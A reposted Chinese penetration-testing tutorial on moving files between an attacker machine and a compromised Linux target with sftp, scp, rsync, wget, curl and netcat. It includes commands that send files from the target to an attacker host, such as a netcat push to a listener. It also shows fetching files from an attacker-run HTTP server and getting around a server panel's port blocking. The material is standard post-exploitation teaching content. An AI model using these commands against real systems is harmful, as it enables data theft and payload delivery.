linux系统中常见的几种文件传输方式

admin 2024年12月4日22:08:07评论1 views字数 4127阅读13分45秒阅读模式
 

1. 说明

本文的几种传输方法针对的是在渗透工作中遇到的情况,在很多时候,靶机可能受到一些防护软件或者策略的限制,无法正常的进行文件传输,这对攻防来说会有很多问题。所以在这里主要包含攻击机给靶机上传文件、从靶机上下载文件等操作。

2. 参考拓扑图

linux系统中常见的几种文件传输方式

本文以云vps为例(*nix系统),分别为靶机和攻击机,分析在不同场景下的文件上传下载方法。

其中有部分方法可能不太适用,所以在这里就没有展开去写。

3. sftp传输

3.1 使用场景

  • 拿到服务器的账号密码信息,直接上传和下载,你可以使用Windowslinuxmac等系统进行操作,只要能找到对应的软件即可。
  • 一般条件下,该方法可以任意地上传、下载目标服务器上的文件。

3.2 使用示例

这个比较好理解,就是拿到服务器的账号密码信息,直接使用xshellsftp工具等进行上传和下载,mac上也可以使用FileZilla来操作,总之工具很多,在这里就不再赘述了。

linux系统中常见的几种文件传输方式

4. SCP命令

scpSecure Copy Protocol)是基于 sshSecure Shell)协议的一种文件传输工具,用于在本地计算机和远程服务器之间,或两台远程服务器之间安全地传输文件。它通过 ssh 加密传输数据,提供了可靠的安全性。

4.1 基本用法

scp [选项] 源文件 目标路径

常用参数
-r:递归复制整个目录及其子目录。
-P:指定远程服务器的端口号(注意大小写,-p 是保留时间戳)。
-C:压缩传输数据。
-i:指定使用的私钥文件(适用于基于密钥的认证)。
-q:安静模式,不显示传输进度。

使用示例
1. 从本地复制到远程

scp /path/to/local/file user@remote_host:/path/to/remote/destination
2. 从远程复制到本地

scp user@remote_host:/path/to/remote/file /path/to/local/destination
3. 复制整个目录

scp -r /path/to/local/directory user@remote_host:/path/to/remote/destination
4. 指定端口传输

scp -P 2222 /path/to/local/file user@remote_host:/path/to/remote/destination
5. 两台远程服务器之间传输

scp user1@remote_host1:/path/to/remote/file user2@remote_host2:/path/to/remote/destination

注意事项
权限问题:使用 scp 时,确保用户对目标路径具有访问权限。
网络中断:如果传输较大的文件,建议使用支持断点续传的工具(如 rsync)代替 scp。
安全性:默认情况下,scp 的传输是加密的,安全性比 FTP 高。

4.2 将文件从靶机复制到攻击机

4.2.1 使用场景

  • 需要拿到服务器的账号密码信息,SSH服务开启,命令行来操作
  • 攻击机可以主动访问到靶机

在这里直接使用命令来将靶机上的fscan文件复制到攻击机上去:

linux系统中常见的几种文件传输方式

4.2.2 命令

从远程复制到本地
scp user@remote_host:/path/to/remote/file /path/to/local/destination

在这里就是:

scp ubuntu@144.*.*9.19:/home/ubuntu/bj_chuanshu/crowsec.exe /root/gjj_chuanshu/
linux系统中常见的几种文件传输方式

当使用的时候,会要求输入当前账号下的密码,然后开始文件传输。

在这里对比两个文件的hash值,看下文件是否传输成功:

linux系统中常见的几种文件传输方式

当然,scp还有一些其他的用法,具体的可以看上面的介绍。

4.3 将文件从攻击机复制到靶机

4.3.1 使用场景

  • 需要拿到服务器的账号密码信息,SSH服务开启,命令行来操作
  • 靶机可以主动访问到攻击机

4.3.2 命令

这个流程和刚刚的一样,只需要更换下顺序就行了,在这里就不多说了。

5. rsync

rsync 是一个强大的命令行工具,主要用于在本地和远程系统之间同步文件和目录。它支持增量传输,可以有效地减少带宽占用,并提供强大的过滤规则、权限保留和加密传输功能。

官网介绍:

https://www.samba.org/ftp/rsync/rsync.html

linux系统中常见的几种文件传输方式

5.1 使用场景

  • 远程服务器支持 ssh
  • 两个服务器之间需要能够互相通信

5.2 使用示例

  • 正向传输

这里的正向传输指的是将本地的文件传输到远程服务器上:

rsync -avz /path/to/local/directory/ user@remote_host:/path/to/remote/directory/

在我们这篇文章里面,就指的是将攻击机上的文件上传到靶机上了,在这里需要靶机的ssh账号密码信息,操作是在攻击机上:

linux系统中常见的几种文件传输方式

linux系统中常见的几种文件传输方式

  • 反向传输
rsync -avz user@remote_host:/path/to/remote/directory/ /path/to/local/directory/

在这里指的是将靶机上的文件下载下来,同样需要的是靶机的账号密码信息:

linux系统中常见的几种文件传输方式

6. wget-常用

wget 是一个常见的命令行工具,主要用于从服务器下载文件。

其实wget在攻防里面运用还是蛮多的。

wget http://remote_host/path/to/file

6.1 使用场景

  • wget只能够从服务器上下载文件,不能够实现反向文件上传,也就是只能从远程服务器下载文件到本地。
  • 远程服务器文件需要通过 HTTP/HTTPS 提供访问。
  • 无需在远程服务器设置用户认证

6.2 使用示例

目前模拟将攻击机上的文件上传到靶机上,所以首先在攻击机上启动web服务,在这里使用python3来启动服务:

python3 -m http.server 8088

linux系统中常见的几种文件传输方式

然后直接在攻击机上请求就可以了:

linux系统中常见的几种文件传输方式

wget http://221.141.65.131:8088/crowsec_wget.exe

linux系统中常见的几种文件传输方式

7. curl-常用

curlwget类似,但是curl除了从远程服务器下载文件之外,还可以向远程服务器上传文件,而且还支持 FTPHTTP POST 等。在这里我们只讨论上传和下载功能。

7.1 使用场景

  • 远程服务器文件需要通过 HTTP/HTTPS 提供访问。
  • 无需在远程服务器设置用户认证

7.2 使用示例-文件下载

目前模拟将攻击机上的文件上传到靶机上,所以首先在攻击机上启动web服务,在这里使用python3来启动服务:

python3 -m http.server 8088

linux系统中常见的几种文件传输方式

然后直接在攻击机上请求就可以了:

linux系统中常见的几种文件传输方式

wget http://221.141.65.131:8088/crowsec_wget.exe

linux系统中常见的几种文件传输方式

7.3 使用示例-文件上传

当然,curl也可以将文件上传到服务器上,在这里需要的条件要么是FTP服务器,要么就是HTTP服务器。如果FTP服务器需要认证的话,则需要提供用户名和密码才可以。

你可以使用 curl 发送 HTTP POST 请求,并将文件作为数据上传:

curl -X POST -F "file=@/path/to/file.txt" http://example.com/upload
  • -X POST 指定使用 POST 请求。
  • -F 指定表单数据,"file=@/path/to/file.txt" 表示上传 file.txt 文件。

curl 还可以用于将文件上传到 FTP 服务器。

curl -T /path/to/file.txt ftp://ftp.example.com/upload/
  • -T 用于指定上传的文件。
  • ftp://ftp.example.com/upload/ 是 FTP 服务器和目标目录的URL

如果 FTP 服务器需要认证,你可以提供用户名和密码:

curl -u username:password -T /path/to/file.txt ftp://ftp.example.com/upload/

8. Netcat-常用

8.1 使用场景

如果在一些实战场景里面,没有类似于python或者curlwget命令时,如果存在nc命令,则可以使用nc命令上传或下载文件。nc的优点就是无其他工具时可通过TCP/UDP传输文件。另外就是简单高效,无需额外配置。

8.2 使用示例-文件下载

这种情况下适合在靶机本身禁止开放端口的场景,在这里举一个例子:

目前很多的宝塔服务器都会默认禁用开放端口,如果此时你拿到一个宝塔的服务器,想要把里面的文件下载下来,在这个时候又不可以通过ssh或者ftp的方法下载,而python3启动的HTTP下载服务,攻击机是无法直接访问到的,因为被宝塔给直接阻断了,所以在这里需要使用正向的方法:也就是靶机主动通过nc命令来连接到攻击机,所以在这个场景里面攻击机一定要是云主机(或者二者可以互通)。

此时攻击机准备接收文件:

nc -lvnp 1234 > received_file

linux系统中常见的几种文件传输方式

在靶机上要主动发送文件,此时靶机:

nc remote_host 1234 < file_to_send
nc 193.141.24.3 1234 <  nc_crowsec.exe

linux系统中常见的几种文件传输方式

此时的攻击机会有显示:

linux系统中常见的几种文件传输方式

等待一段时间之后,直接使用ctrl + c断开连接,计算下文件的md5值:

linux系统中常见的几种文件传输方式

此时证明两个文件传输完成。

8.3 使用示例-文件上传

文件上传的流程和下载的一模一样,只需要把靶机和攻击机的命令反过来就行了,在这里就不再展示了。

9. 总结对比

总计以上,对比如下:

方法 数据加密 双方配置要求 适用场景
SFTP 服务端需配置,需要靶机SFTP的账号密码信息。 多文件传输,最安全,适合文件上传下载;
攻防中常用;
SCP SSH服务必须可用,需要靶机的SSH账号密码信息。 简单、安全的传输;
攻防中不常用;
RSYNC SSH服务必须可用,需要靶机的SSH账号密码信息。 大文件或者多次传输;攻防中不太常用;
WGET 远程支持HTTP服务 下载公开文件;
一般攻防里面下载文件较多。
CURL 支持HTTP/FTP 上传/下载公开文件;使用正反向下载文件,
一般攻防里面下载文件较多。
NC 双方需安装netcat 环境要求简单,传输快速;适合正向文件下载
 

原文始发于微信公众号(乌鸦安全):linux系统中常见的几种文件传输方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月4日22:08:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   linux系统中常见的几种文件传输方式https://cn-sec.com/archives/3466689.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息